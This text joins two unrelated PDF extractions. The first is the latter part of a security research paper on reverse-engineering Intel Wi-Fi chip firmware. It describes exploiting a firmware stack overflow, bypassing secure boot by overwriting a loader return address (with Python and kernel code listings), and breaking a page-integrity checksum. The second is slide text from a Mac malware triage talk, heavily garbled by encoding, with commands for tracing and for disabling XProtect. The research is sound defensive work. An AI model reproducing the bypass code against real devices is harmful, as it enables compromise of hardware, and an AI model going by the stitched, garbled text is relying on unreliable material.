set of commands mentioned previously. The command IDs as well as
the associated request and response structures are declared in the kernel
module source code.
The firmware implementation of these commands was reverse-
engineered, allowing us to find undocumented commands. One of these
commands (of ID 0xf1) receives host data in 2 steps:
1. A first structure made of a size and a flag (struct input { size_t
count; int flag; }) is received. The size field is actually the
expected size of the next received data.
2. Data is then read directly on the stack, leading to a stack overflow
if the size specified in the first command is larger than the size of
the stack buffer.
In order to trigger the vulnerability, we based our exploit on
ftrace-hook. It allows sending arbitrary commands to the chip by hijack-
ing a single function from the Linux module: iwl_mvm_send_cmd(). The
exploit works in 2 steps:
20 https://elixir.bootlin.com/linux/v5.11/source/drivers/net/wireless/
intel/iwlwifi/iwl-trans.h#L207
21 https://elixir.bootlin.com/linux/v5.11/source/drivers/net/wireless/
intel/iwlwifi/fw/api/commands.h#L32
22 https://elixir.bootlin.com/linux/v5.11/source/drivers/net/wireless/
intel/iwlwifi/fw/api/cmdhdr.h#L65
N. Iooss, G. Campana
17
1. A shellcode is first put somewhere at a fixed address in the heap of
the firmware using legit commands. Reverse engineering allowed us
to discover a few commands which copy large amounts of data from
the host to the heap without alteration, for later use. Optionally,
the debugfs mechanism can be used to ensure that the shellcode is
indeed written to the expected address.
2. The vulnerability is then triggered: the stack overflow vulnerability
allows the attacker to take control of pc and redirect the execution
to the shellcode previously put in the heap.
We developed a shellcode which enables the global debug mode flag.
This flag is notably checked by the firmware iwlmvm/mem implementation
to tell whether write access is allowed, which eventually allows us to read
and write memory using this convenient debugfs mechanism.
This stack overflow vulnerability was successfully exploited in the
firmware version 34.0.1. This vulnerability doesn’t exist anymore in the
firmware version 46.6f9f215c.0.
3.2
Secure Boot and bypassing it
Locating the Loader The previous sections presented how we interacted
with Intel Wi-Fi chips from Linux and how the code is loaded from
firmware files. During the study we wondered whether the verification of
the authenticity of the code is implemented in hardware or in some code
running on the LMAC or the UMAC processors. Indeed it is common for
microcontrollers to have a Boot ROM with code which authenticates the
loaded firmware before running it. If an Intel Wi-Fi chip had such code,
how could we find it?
Actually on the studied chip, this is easy:
— the Linux kernel module can read the memory of the chip,
— and the module can also read the program counter registers (pc)
of the chip processors.
We patched iwlwifi to dump parts of the memory and to record the
pc values right before the firmware was loaded. We found out that most
memory regions contain random data which change at every boot, except
two areas:
— one between addresses 0x00402e80 and 0x00402fff,
— one between addresses 0x00060000 and 0x00061eff.
The second area contains valid ARCompact instructions and
the recorded pc values alternate between 0x0006107e, 0x00061092,
0x00061098 and a few other addresses. So we knew we dumped some
18
Ghost in the Wireless, iwlwifi edition
interesting code. Moreover the first instructions of this area include mov
sp, 0x00403000, defining the stack pointer to the top of the first area.
The dumped code is quite small (4554 bytes) and, surprisingly, it does
not include any implementation of RSA or SHA256 algorithms. How could
it verify the firmware signature?
Studying more closely the data we got shows that at address
0x00061e00 is located the same RSA2048 public key as in the firmware
file. This key is used by a function at 0x00060fa8. After more analysis
we found out that the dumped code uses this key with some hardware
registers in the following sequence:
— Write 1 and 0 to the peripheral register located at 0x00a24b08.
— Write 3 to 0x00a24b00.
— Write the 256 bytes of the public key to 0x00a24900, 0x00a24901,
etc.
— Write the 256 bytes of the firmware signature to 0x00a24800,
0x00a24801, etc.
— Write 1 to 0x00a2506c and 0x00a25064.
— Wait for the lowest bit of peripheral register located at 0x00a24b04
to become zero.
— Read the decrypted RSA signature from 0x00a24a00.
— Write 1 to 0x00a20804.
This code probably drives a coprocessor which decrypts RSA2048
signatures in PKCS#1 v1.5 format. Other peripheral registers are used
in a similar way, to compute the SHA256 digest of the firmware being
loaded. Such coprocessors are usually called cryptographic accelerators
and it is normal to see one on a Wi-Fi chip, which could offload some
cryptographic operations to dedicated hardware.
This new knowledge of the cryptoprocessor enabled looking for code
referencing its addresses in the firmware. And indeed the UMAC code
uses the cryptoprocessor in a similar way to verify some signatures, for
example when processing FW_PAGING_BLOCK_CMD commands.
Bypassing Secure Boot Linux loads a firmware on the Wi-Fi chip by
sending its sections. We previously described (in section 2.4) that it is
not possible to directly modify the content of these sections. By reverse-
engineering the code of the loader, we found the code which computed
a SHA256 digest over all the sections. The loader needs to implement
this to verify a RSA-2048 signature embedded in the first section (using a
cryptoprocessor).
N. Iooss, G. Campana
19
This code does not wait for the full firmware to be received before
computing its digest, but updates the SHA256 state after each section is
received. Does it mean that an attacker can modify a section after it has
been verified? We patched the Linux kernel in order to send a section twice:
once with the original content, and a second time with some modifications.
This failed. The firmware started successfully but the modifications were
ignored. Digging further, we discovered that the loader modifies some
hardware registers of the chip after receiving a section. We suppose this
locked some memory pages to make them no longer writable from Linux.
In short, when the firmware loader starts, Linux is allowed to write to
most of the memory of the chip, and the memory progressively becomes
read-only while the firmware is loaded. But the memory does not solely
contain the firmware: it also contains the loader! And trying to write to
the loader data actually works!!
More
precisely,
when
we
call
Linux’s
function
iwl_trans_pcie_write_mem
to
write
some
data
at
0x00402e80
before loading the firmware, we manage to read the new data back (using
iwl_trans_pcie_read_mem). The stack of the loader is located at this
address, so it is possible to overwrite some return address to make the
loader execute our code (which can be written using the normal firmware
loading interface). The attack therefore consists in writing a modified
firmware to the memory of the chip, replacing a return address with zero
in the stack of the loader, and notifying the loader that the firmware is
loaded. This works fine on the first Wi-Fi chip studied (Intel Dual Band
Wireless AC 8260), but not on the second one (Intel Wireless-AC 9560
160MHz).
On the second chip, we observe that the value we read back after
modifying the stack is successfully modified, but the loader seems to
ignore it. Another thing was strange: despite the loader using some global
variables in memory, we do not see these variables change when reading
their values. We suppose this is caused by a caching mechanism: the
content of the stack is used from a cache memory of the Wi-Fi chip.
As the read/write access from the Linux driver modifies the physical
memory directly without invalidating the cache, the chip ignores these
modifications.
To fix the attack, we modified the firmware image in order to force
cached data to be flushed to the memory. One way to achieve this consists
in increasing the number of sections which are loaded by the chip. This
number is actually present in the first section transmitted to the chip
20
Ghost in the Wireless, iwlwifi edition
(the one which contains the signature). By declaring that the firmware
contains 196 sections (listing 16), the behavior of the chip changes:
— When trying to load this firmware directly, the chip refuses to boot
and a SecBoot message appears in the kernel log. This is expected,
because the modified section is included in the signed data.
— When trying to load this firmware while overwriting a code address
on the stack, the chip successfully boots.
1
import
struct
2
3
old_section = get_first_section ("iwlwifi -9000 -pu -b0 -jf -b0 -46. ucode")
4
new_section = (
5
old_section [:0 x284] +
# Header
with
RSA
signature
6
# Define
196
fake
sections
at
address 0 with
size
0.
7
struct.pack("<I", 196) +
8
struct.pack("<IIII", 7, 8, 0, 0) * 196
9
)
Listing 16. Extract of a Python script which modifies the first section
More precisely we identified in the dumped stack, at 0x00402fc0, the
code address 0x00060f7a. This address is right after a function call,23 in
the code of the firmware (listing 17).
1
00060 f70
f1 c0
push_s
blink
2
00060 f72
66 0c 8f ff
bl
FUN_000603d4
( initialize
things)
3
00060 f76
e6 0b 8f ff
bl
FUN_00060358
( compute
SHA256)
4
(the
value
at 0 x00402fc0
is
here)
5
00060 f7a
7e 0d 8f ff
bl
FUN_000604f4
(verify
RSA
signature )
6
00060 f7e
d1 c0
pop_s
blink
7
00060 f80
e0 7e
j_s
blink
Listing 17. Attacked function of the Wi-Fi chip loader (ARCompact assembly)
We
perform
the
attack
by
modifying
the
function
iwl_pcie_load_cpu_sections_8000 24 (in the iwlwifi kernel module)
to write zero to 0x00402fc0 (listing 18). This actually bypasses the call
to the function which verifies the RSA signature and directly starts the
loaded firmware.
1
iwl_trans_grab_nic_access (trans);
2
unsigned
int
iterations ;
3
for ( iterations = 0;
iterations
< 70000;
iterations ++) {
4
iwl_write32 (trans , HBUS_TARG_MEM_WADDR , 0 x00402fc0 );
23 In ARCompact, instruction bl peforms a branch with link operation, used to call a
function.
24 https://elixir.bootlin.com/linux/v5.11/source/drivers/net/wireless/
intel/iwlwifi/pcie/trans.c#L719
N. Iooss, G. Campana
21
5
iwl_write32 (trans , HBUS_TARG_MEM_WDAT , 0);
6
}
7
iwl_trans_release_nic_access (trans);
Listing 18. Loop added to iwlwifi to bypass the signature verification
Being able to load arbitrary code on a Wi-Fi chip greatly helps ana-
lyzing how it works. In the remaining parts of this article, we will present
some experiments enabled by this access.
4
Use Cases and Practical Applications
4.1
Understanding the Paging Memory
Going beyond physical memory The studied firmware file defined
a section at address 0x01000000 with 241664 bytes (cf. listing 8 in sec-
tion 2.2). Contrary to the other sections, this one is not loaded directly in
the memory of the chip. Instead, iwlwifi allocates specific buffers in the
main memory and transmits their physical addresses to the chip, using
a FW_PAGING_BLOCK_CMD command in function iwl_send_paging_cmd.25
This means that this code is loaded once the LMAC and the UMAC
processors have already been started. At this point, we wondered: where
is this code stored in the Wi-Fi chip? How is it authenticated?
The second question is simple to answer: the implementation of
the FW_PAGING_BLOCK_CMD command in the UMAC code (at address
0x80452184) reads all the pages using DMA transfers and verify a
RSA2048-SHA256 signature provided by a Code Signature Section. How-
ever, all DMA transfers target the same 4096-byte page on the memory of
the chip, at 0x00447000. So the data is not actually kept by the chip.
The host physical addresses of the blocks are saved in a structure
iwl_fw_paging_cmd 26 at address 0xc0885774. We retrieve the content
of the structure from the chip using the debug filesystem (cf. section 3.1)
and decode it according to the structure definition (listing 19).
1
struct
iwl_fw_paging_cmd
at 0 xc0885774 :
2
* flags = 0x303: 0x200=secured , 0x100=enabled , 3 pages
in
last
block
3
* block_size = 15 (0 x8000 = 32768
bytes/block , 8 pages/block)
4
* block_num = 8
5
Block
addresses :
6
Host
phys 0 x10b976000 = Code
Signature
Section
25 https://elixir.bootlin.com/linux/v5.11/source/drivers/net/wireless/
intel/iwlwifi/fw/paging.c#L232
26 https://elixir.bootlin.com/linux/v5.11/source/drivers/net/wireless/
intel/iwlwifi/fw/api/paging.h#L22
22
Ghost in the Wireless, iwlwifi edition
7
Host
phys 0 x10b9f0000 = Paging
mem 0 x01000000
8
Host
phys 0 x10b9f8000 = Paging
mem 0 x01008000
9
Host
phys 0 x10ba00000 = Paging
mem 0 x01010000
10
Host
phys 0 x10ba08000 = Paging
mem 0 x01018000
11
Host
phys 0 x10ba10000 = Paging
mem 0 x01020000
12
Host
phys 0 x10ba18000 = Paging
mem 0 x01028000
13
Host
phys 0 x10ba20000 = Paging
mem 0 x01030000
14
Host
phys 0 x10ba28000 = Paging
mem 0 x01038000
Listing 19. Extracting the configuration of the paging memory, from the chip
If
the
chip
does
not
keep
all
pages
when
processing
the
FW_PAGING_BLOCK_CMD command, how is it able to use this memory?
By accessing memory through the debug filesystem, we confirm that the
memory located at addresses 0x01000000, 0x01008000, etc. is indeed
readable and writable. The answer is: by using the Memory Management
Unit!
Indeed the UMAC processor defined handlers for the exception vec-
tors TLBMissI and TLBMissD (at addresses 0xc0080108 and 0xc0080110)
which occur when a memory access fails. These handlers integrate a com-
plex state machine which loads the requested memory page from the host
using DMA, in a memory area between 0x00422000 and 0x00447fff. To
confirm that the analysis is correct, we read the global variables used by
this state machine, which include an array at 0x804508b8. For example,
in an experiment this array starts with the bytes ff ff 10 ff 0b ff.
Every byte is related to a virtual memory page.
— The first byte is 0xff, meaning that the first page (at 0x01000000)
is not currently mapped by the chip.
— The second byte was 0xff, meaning that the page at 0x01001000
is not mapped.
— The third byte, 0x10, means that the page at 0x01002000
is mapped at physical address 0x00422000 + 0x10*0x1000 =
0x00432000 of the chip. This is confirmed by reading the data
stored at this address directly.
— etc.
The Wi-Fi chip has space for 38 4KB-pages and the firmware defines
59 pages so it is impossible to load all of them simultaneously. Moreover
these regions contain global variables which are updated by the firmware.
How does the firmware keep the modified bytes when some room is needed
to load a newly requested page? By sending another DMA request to
write the modified bytes to the host memory. And indeed, using chipsec
to read the host physical memory, we observe that the buffer allocated for
this Paging memory is modified.
N. Iooss, G. Campana
23
In short, the code running on the UMAC processor uses its MMU to
extend its memory capacity, by relying on DMA transfers with the host
memory to store the data which do not fit.
Protecting the integrity of the Paging Memory Once we understood
the mechanism of the Paging Memory, we tried an obvious attack: we
modified a byte in the host memory and made the Wi-Fi chip request it
by issuing a command to read memory. This failed (the UMAC reported a
NMI_INTERRUPT_UMAC_FATAL error and iwlwifi restarted the chip), and
we did not understand why. How is the integrity of the Paging Memory
guaranteed?
The function which handles command FW_PAGING_BLOCK_CMD performs
some operations that we first overlooked:
— It writes the address 0x8048f400 in the peripheral register
0x00a0482c and 0x1000 in 0x00a0480c.
— Before receiving a page (to verify the signature), it writes the
physical address of the received page in 0x00a04808, the index of
the virtual page in 0x00a04804, and 1 in 0x00a04800.
— After receiving a page, it waits for some bits in the peripheral
register 0x00a04800 to become set.
These registers are also used near the code which performs DMA
requests. Maybe they are used to compute some digest of the data? Where
would these digests be stored? Maybe at the first address which is used,
0x8048f400 (which is the physical address 0x0048f400). Surprisingly, the
content at this location is not readable using the debug commands used
by iwlmvm/mem. This limitation is due to a check which forbade reading
any data between 0x0048f000 and 0x0048fffff. Fortunately we are not
stopped by this, as we are able to load a modified firmware without this
restriction.
After more experiments, we discover that 0x0048f400 holds a table
of 32-bit checksums for each 4 KB page of the Paging Memory. The
checksum of the first page (whose virtual address is 0x01000000) is located
at 0x0048f400, the checksum of the second one at 0x0048f404, etc. In
an experiment, we obtain that:
— the checksum of a page with 4096 zeros is 00 00 00 00,
— A page with 4095 zeros and 01 has checksum 11 ac d8 7f
— A page with 4095 zeros and 02 has checksum 22 58 b1 ff
— A page with 4095 zeros and 03 has checksum 33 f4 69 80
— A page with 4095 zeros and 04 has checksum c9 b0 62 ff
24
Ghost in the Wireless, iwlwifi edition
These values are not so random: they are linear with the input! By
XOR-ing the results of the lines with 01 and 02, we obtain the result
written in the line with 03. Also taking the bytes of the line with 01
and shifting them left one bit gives the result of the line with 02, with
a bit moved from ac to b1. Continuing this trail, we found out that the
computation involved a 32-bit Linear Feedback Shift Register (LFSR) on
the input bytes considered as a sequence of 32-bit Little Endian integers,
with polynomials 0x10000008d. But it is not only an LFSR, as values
change every time the chip is reset.
More experiments reduce the algorithm to the Python function pre-
sented in listing 20. Discussions within our awesome team made us under-
stand we were watching a scheme named Universal Message Authentication
Code, and our implementation actually matches the example written on
Wikipedia.27
1
def
checksum (page , secret_key ):
2
# Return
the
checksum
of a 4096 - byte
page
with a 1024 - int
key
3
result = 0
4
for
index_32bit_word
in
range (1024):
5
page_bytes = page[ index_32bit_word *4: index_32bit_word *4+4]
6
page_value = int. from_bytes (page_bytes , "little")
7
8
sec = secret_key [ index_32bit_word ]
9
for
bit_pos
in
range (32):
10
if
page_value & (1 << bit_pos ):
11
result
^= sec
12
13
# Linear
Feedback
Shift
Register
with 0 x10000008d
14
if sec & 0 x80000000 :
15
sec = (( sec & 0 x7fffffff ) << 1) ^ 0x8d
16
else:
17
sec = sec
<< 1
18
return
result
Listing 20. Python implementation of the checksum algorithm used to ensure
the integrity of the Paging Memory
This algorithm is quite weak in this case: in our study we were able to
request the checksums for pages containing bytes 01 00...00, 00 00 00
00 01 00...00, etc., which directly leaks the 1024 integers used in the
secret key. With this key, it is simple to modify a page in a way which
does not modify the checksum.
In short, the integrity of the Paging Memory, which prevents the Linux
kernel from modifying its content, is guaranteed by a 32-bit checksum
algorithm, a secret key generated each time the chip boots and the impos-
sibility to read the stored checksums (we achieved this by compromising
27 https://en.wikipedia.org/wiki/UMAC#Example (accessed on 2022-01-17)
N. Iooss, G. Campana
25
the integrity of the firmware beforehand). So we did not discover a vulner-
ability there, but a way to leverage future arbitrary-read vulnerabilities
into arbitrary code execution on the Wi-Fi chip.
4.2
Instrumentation, Tooling and Fuzzing
Debugger A debugger has been developed to make the dynamic analysis
of some pieces of firmware code easier.
A shellcode is first written in a part of uninitialized firmware memory.
The first instruction of the debugged code is modified to redirect the
firmware execution to the shellcode. The shellcode waits in a loop for
custom commands from the host to:
— read and write LMAC and UMAC CPU registers,
— read and write from/to memory,
— resume the execution of the firmware.
In order to make debugging faster, an experiment has been conducted
with QEMU to redirect the execution of the debugged code in QEMU,
and forward the memory and register accesses to the debugger. Slight
modifications of QEMU’s core are required to allow QEMU’s plugin system
to write to memory.
Nevertheless, a few issues are encountered:
— Firmware timers are triggered at regular intervals, disturbing de-
bugging. Disabling these timers leads to unexpected side effects.
— Extension Core Registers are modified by the hardware even if
executed instructions don’t reference them.
— A few ARC700 instructions must be fixed or added to QEMU.
Traces Once secure boot is disabled and unsigned firmware can be loaded,
the firmware can be patched to change the behavior of some functions. In
order to facilitate firmware analysis, a tracing mechanism was developed
to tell dynamically which functions are executed.
The list of all firmware functions is retrieved thanks to a custom
Ghidra script. These functions are patched to replace the first prologue
instruction (push_s blink) with the instruction trap_s 0. The code of
the associated interrupt handler is replaced to store the address of the
instruction which triggered the interrupt, in a buffer shared with the host.
This mechanism allows to gather every function executed by the
firmware, but it’s slightly more complicated on the UMAC processor:
— The instruction trap_s 0 triggers an unrecoverable machine check
exception. An invalid instruction seems to trigger a different in-
26
Ghost in the Wireless, iwlwifi edition
terrupt handler, but it can also be replaced to store the faulty
instruction.
— Some functions can’t be instrumented because triggering an in-
terrupt during their execution seems to lead to a machine check
exception, probably because of a double fault.
On-Chip Fuzzing In order to find vulnerabilities, the code of the
firmware has been modified to hook some functions related to Wi-Fi
packets parsing and fuzz randomly input parameters. While it indeed
leads to crashes, these functions use hardware registers which make crashes
bound to the state of the card. Crashes are thus difficult to reproduce.
Moreover, some checks on packet validity seem to be done by the hard-
ware, before packets are handled by the firmware. These crashes can’t be
reproduced through remote frame injection.
4.3
Initial crash analysis
Further analysis showed that the initial bug that led to this study isn’t
exploitable. It’s a crash of the LMAC CPU because the firmware doesn’t
expect to receive TDLS Setup Request commands from the host, while
the device seems to support TDLS (Tunnel Direct Link Setup, listing 21).
1
$ iw phy | grep -i tdls
2
* tdls_mgmt
3
* tdls_oper
4
Device
supports
TDLS
channel
switching
Listing 21. Querying TDLS support on the first studied chip
Several users reported this crash on the Kernel Bug Tracker 28 and
the bug is actually fixed since firmware update 36.29 As explained by the
maintainer in this comment:
Anyway, the new firmware has the fix: we don’t advertise TDLS
anymore.
It’s worth noting that even if a firmware update is available, some
Linux distributions don’t include it. For instance, this crash can reliably
be triggered remotely with a single Wi-Fi packet targeting an up-to-date
Ubuntu 18.04, leading to the reboot of the Wi-Fi firmware.
28 https://bugzilla.kernel.org/show_bug.cgi?id=203775
29 https://git.kernel.org/pub/scm/linux/kernel/git/firmware/linux-
firmware.git/commit/?id=5157165f22041346b3a82e12ba072d456777fdf2
N. Iooss, G. Campana
27
5
Conclusion
This journey studying Intel Wi-Fi chips was incredible. We did not
expect to bypass the secure boot mechanism of the chip, and this achieve-
ment opened the door to many new possibilities. Most importantly, we can
now instrument the firmware to better understand some undocumented
parts.
While this document is quite large, it does not include some work
which was also done: studying how the WoWLAN (Wake-on-Wireless
Local Area Network) feature is implemented, how ThreadX operating
system is used by the UMAC code, how the chip really communicates
with the host using DMA, how fragmented Wi-Fi frames are parsed, how
the LMAC configures a MPU (Memory Protection Unit), etc. In the
future we will likely continue looking for vulnerabilities in the Wi-Fi radio
interface. Future work can also include how the Wi-Fi part of the chip
interacts with the Bluetooth part. Indeed, all studied chips also provide
a Bluetooth interface which seems to require some coordination with
the Wi-Fi firmware to operate. Another area of interest could be the
interaction between the Wi-Fi chip and Intel CSME (Converged Security
and Management Engine) for AMT (Active Management Technology):
the iwlwifi module was modified in Linux 5.17-rc1 (released in January
2022) to document how this works.30
We would like to thank our employer Ledger for letting us work on
this exciting topic, Intel developers for providing useful documentation in
iwlwifi and Microsoft for publishing the ThreadX source code.31
Finally, we hope that the publication of this article will lay the ground-
work for helping other researchers to dive into that topic.
A
Appendix: glossary
— BAR: Base Address Register
— CSS: (probably) Code Signature Section (a firmware section which
contains metadata about other sections, including a signature)
— DMA: Direct Memory Access (a way to transmit data between two
devices without running code on a processor)
— DCCM: Data Close Coupled Memory (some kind of memory)
— LMAC: Lower Medium Access Controller
30 https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/
commit/?id=2da4366f9e2c44afedec4acad65a99a3c7da1a35
31 https://github.com/azure-rtos/threadx/
28
Ghost in the Wireless, iwlwifi edition
— MMIO: Memory-Mapped Input Output
— SRAM: Static Random Access Memory (some kind of memory)
— UMAC: Upper Medium Access Controller
References
1. ARC. Arc 700 memory management unit reference, 2008. http://me.bios.io/
images/7/73/ARC700_MemoryManagementUnit_Reference.pdf.
2. Gal Beniamini. Over the air: Exploiting broadcom’s wi-fi stack (part 1), 2017.
https://googleprojectzero.blogspot.com/2017/04/over-air-exploiting-
broadcoms-wi-fi_4.html.
3. Andrés
Blanco
and
Matías
Eissler.
One
firmware
to
monitor
’em
all, 2012.
http://archive.hack.lu/2012/Hacklu-2012-one-firmware-Andres-
Blanco-Matias-Eissler.pdf.
4. Guillaume Delugré. How to develop a rootkit for broadcom netextreme network cards.
RECON, July 2011. https://recon.cx/2011/schedule/events/120.en.html.
5. Louis Granboulan.
cpu_rec.py, un outil statistique pour la reconnaissance
d’architectures binaires exotiques. SSTIC, June 2017. https://www.sstic.org/
2017/presentation/cpu_rec/.
6. Nicolas
Iooss.
Analyzing
arcompact
firmware
with
ghidra.
SSTIC,
June 2021. https://www.sstic.org/2021/presentation/analyzing_arcompact_
firmware_with_ghidra/.
7. Yuval Ofir Omri Ildis and Ruby Feinstein.
Wardriving from your pocket,
2013.
https://recon.cx/2013/slides/Recon2013-Omri%20Ildis%2C%20Yuval%
20Ofir%20and%20Ruby%20Feinstein-Wardriving%20from%20your%20pocket.pdf.
8. Yves-Alexis Perez, Loïc Duflot, Olivier Levillain, and Guillaume Valadon. Quelques
éléments en matière de sécurité des cartes réseau. SSTIC, June 2010. https://www.
sstic.org/2010/presentation/Peut_on_faire_confiance_aux_cartes_reseau/.
9. Julien
Tinnès
and
Laurent
Butti.
Recherche
de
vulnérabilités
dans
les
drivers
802.11
par
techniques
de
fuzzing.
SSTIC,
June
2007.
https://www.sstic.org/2007/presentation/Recherche_de_vulnerabilites_
dans_les_drivers_par_techniques_de_fuzzing/. | pdf |
Reverse&Engineering&&
Mac&Malware&&
Sarah&Edwards&&
@iamevltwin&
mac4n6.com&
&
whoami&
Senior&Digital&Forensics&Analyst&with&Harris&CorporaAon&
• Computer&Intrusions,&Criminal,&Counter&Terrorism,&Counter&Intelligence&
• Mac,&Windows,&*nix,&Mobile,&Malware,&anything&&&everything…&
Government&Contractor&N&Embedded&FullAme&with&Federal&Law&
Enforcement&
General&Forensics&Nerd&&&Mac&Fan&Girl&
Author&&&Instructor&for&SANS&FOR518&–&Mac&Forensic&Analysis&
• www.sans.org/course/macNforensicNanalysis&
Scope&&&Agenda&
Malware&Triage&
~20%&StaAc,&~80%&Dynamic&
No&Assembly&
Agenda:&
• StaAc&Analysis&
• File&Types&
• Analysis&Tools&
• Dynamic&Analysis&
• VirtualizaAon&
• ApplicaAon&Tracing&
• Analysis&Tools&
• Analysis&Examples&
StaAc&Analysis&
Locate&&&Extract&the&Executable&Files&
File&Types:&
• ApplicaAon&Bundles&
• MachNO&
• PKG&Files&
Tools:&
• MachOView&
• lipo&
• Strings&||&srch_strings&
• nm&
• codesign&
• Hopper&
Locate&the&Malware&
ApplicaAon&Bundle&(*.app)&
PKG&File&
MachNO&Executable&
…&
Office&Document&
ZIP&Archive&
JAR&File&
…others…&
ApplicaAon&Bundle&
Directory&
Contents:&
• Info.plist&(required)&
• ConfiguraAon&InformaAon&
• Executable&(required)&
• Located&anywhere&in&bundle&
• MacOS&Directory&
• Executable&may&be&in&here&too!&
• Resources&Directory&
• SupporAng&Files&
ApplicaAon&Bundle&
Crisis&Sample&
• Executables:&
– IZsROY7X.-MP!
– lUnsA3Ci.Bz7!
– mWgpX-al.8Vq!
• Kernel&Extension&=&
6EaqyFfo.zIK.kext!
PKG&File&
eXtensible&ARchiver&
(XAR)&Archive&
Flashback&used&a&fake&
“FlashPlayerN11N
macos.pkg”&Installer&
PKG&Files&
List&&&Extract&the&Malware&
PKG&Files&
List&&&Extract&the&Malware&
PKG&Files&
List&&&Extract&the&Malware&
• *N1&(First&unar&N&gzip)&
• *N1N1&(Second&unar&N&cpio)&
MachNO&Binaries&
• Executable&Format&used&on&OS&X&
• Universal&(Fat)&Binaries&
• File&Signatures:&
• 0xCAFEBABE&–&Fat&binary&
• 0xFEEDFACE&–&32Nbit&
• 0xFEEDFACF&–&64Nbit&
• 0xCEFAEDFE&–&32Nbit,&Lirle&Endian&
• 0xCFFAEDFE&–&64Nbit,&Lirle&Endian&
32NBit/Lirle&Endian&
MachNO&Binaries&
Universal/Fat&Binaries&
Intel&32&&&64Nbit&
Universal&–&PowerPC&&&Intel&32Nbit&
Universal/Fat&Binary&File&Info&
lipo&
Review&Architecture&Details:&
• -info <file>!
• -detailed_info <file>!
Universal/Fat&Binary&File&Info&
lipo&
Extract&Binaries:&
• -extract <architecture type>!
• -output <output file>!
MachOView&N&Mach&Header&
sourceforge.net/projects/machoview/&
Executables&Strings&&
&strings&||&srch_strings&
Extract&all&strings:&&
• ASCII&Strings&
• strings –a !
• Unicode&Strings&(The&Sleuth&
Kit)&
• srch_strings –a -t!
MachOView&N&Strings&
sourceforge.net/projects/machoview/&
Display&Symbols&&
nm&
• Variable&and&FuncAon&Names&
• Crisis&Example:&
– “nm IZsROY7X.-MP”!
MachOView&N&Symbols&
sourceforge.net/projects/machoview/&
Hopper&N&hopperapp.com&
Code&Signed&Binaries&
codesign –dvvv <*.app or Mach-O>!
KitM&Sample&=&“Kumar&In&the&Mac”&
Dynamic&Analysis&
VirtualizaAon&
• XProtect&
• Gatekeeper&
ApplicaAon&Tracing&
Analysis&Tools&(File,&Process&&&Network)&
• Dtrace&
• Xcode&Instruments&
• fs_usage&
• fseventer&
• AcAvity&Monitor&
• procxp&
• CocoaPacketAnalyzer&
• Wireshark&
• tcpdump&
• lsock&
VirtualizaAon
&&
VirtualizaAon&Tools&
• VMware&Fusion&
• Parallels&
VirtualizaAon&Issues&
• Capable&Versions&N&10.7+&(10.6&Server)&
• Xprotect&&&Gatekeeper&
XProtect&
Files&
• /System/Library/CoreServices/
CoreTypes.bundle/Contents/Resources&
• XProtect.meta.plist&
• Last&Update&Date&&&Version&(10.7&&&
10.8)&
• Java&Minimum&Version&&&Blacklisted&
Plugins&
• XProtect.plist&
• AV&Signatures&
Weaknesses&
• Apple&updates&it…when&they&want&to.&
• Very&few&signatures&on&blacklist.&&
• No&HeurisAcs&
• Only&checks&“quaranAned”&files&
• com.apple.quaranAne&Extended&
Arribute&
• Mac&Threats&Only&&
XProtect&
Signature&by&Hash
&&
“IdenAty”&Key&=&SHA1&Hash&
XProtect&
Signature&by&Launch&Service&&&Parern&
Disable&XProtect&
Delete/Edit&XProtect&Files&…or…&
Remove&com.apple.quaranAne&Extended&Arribute&
• xattr –d com.apple.quarantine <filename>!
Gatekeeper&
• Introduced&in&10.7.5&
• AnANmalware&Feature&
• ApplicaAon&ExecuAon&
RestricAons&
• Security&Sewngs&
– Mac&App&Store&
• Users&can&only&run&apps&from&
the&store.&
– Mac&App&Store&&&IdenAfied&
Developers&
• Default&Sewng&(10.8+)&
• Users&can&only&run&soxware&
signed&using&Apple&Developer&ID&
– Anywhere&
• Default&Sewng&(10.7.5)&
• Users&can&run&anything&from&
anywhere&
Disable&Gatekeeper&
• Permanent:&Change&to&“Allow&ApplicaAons&
Downloaded&From:”&to&“Anywhere”&…or…&
• CaseNbyNcase&basis:&Control+Click&ApplicaAon&
ApplicaAon&Tracing&&
“Trace”&program&execuAon,&file&system&events,&network&communicaAons&
for&use&in&troubleshooAng.&
LowNlevel&logging&
Verbose&
Very&useful&for&reverse&engineering!&
Tools:&Dtrace,&fs_usage,&Xcode&Instruments&
Dtrace&
• TroubleshooAng&UAlity&
• Designed&by&Sun&
Microsystems&(Originally&for&
Solaris)&
• Added&to&OS&X&in&10.5&
• Captures&data&from:&
– CPU&
– Memory&
– Network&
– File&System&
– Processes&
• Uses&D&Language&(awkNish)&
• dtracebook.com&
• man&–k&dtrace&
Dtrace&Example&
• Files&Opened&by&Process&
• Example&from&dtracebook.com&(filebyproc.d)&
dtrace -n 'syscall::open*:entry { printf("%s
%s",execname,copyinstr(arg0)); }!
Xcode&Instruments&
• Installed&with&Xcode&(Xcode&Tools)&
• Apple&Developer:&Instruments&User&Guide&
• GUI&Tracing&ApplicaAon&
Xcode&Instruments&
&
File&Analysis&
Dtrace&
• filebyproc.d&
• opensnoop&
• Iosnoop&
• creatbyproc.d&
fs_usage&
fseventer&
File&Analysis&–&Files&Opened&By&Process&
Dtrace&N&filebyproc.d&
• CPU&–&CPU&that&received&event&
• ID&–&Dtrace&Probe&ID&
• FUNCTION:NAME&–&Dtrace&Probe&Name&
• Remaining&–&Process/Pathname&
File&Analysis&–&Files&Opened&
Dtrace&N&opensnoop&
• UID&–&User&ID&
• PID&–&Process&ID&
• COMM&–&Process&Command&Name&
• FD&–&File&Descriptor&
• PATH&–&File&Path&
File&Analysis&–&Files&Opened&
Dtrace&–&opensnoop&Na&
• Na&=&All&Data&
– TIME&–&Timestamp&(RelaAve&Microsecond&Counter)&
– STRTIME&–&String&Timestamp&(Local&System&Time)&
– UID&–&User&ID&
– PID&–&Process&ID&
– FD&–&File&Descriptor&
– ERR&–&Errno&Value&(See&errno.h)&&
– PATH&–&File&Path&
– ARGS&–&Argument&List&
File&Analysis&N&Files&Read/Wriren&by&Process&
Dtrace&N&iosnoop&
• UID&–&User&ID&
• PID&–&Process&ID&
• D&–&DirecAon&(Read/Write)&
• BLOCK&–&File&System&Block&for&OperaAon&
• SIZE&–&OperaAon&Size&
• COMM&–&Process&Command&Name&
• PATHNAME&–&File&Path&
File&Analysis&–&Files&Created&by&Process&
Dtrace&–&creatbyproc.d&
• CPU&–&CPU&ID&
• ID&–&Process&ID&
• FUNCTION:NAME&–&Dtrace&Probe&Name&
• Remaining&–&Command/ApplicaAon&&&File&
Path&
File&Analysis&
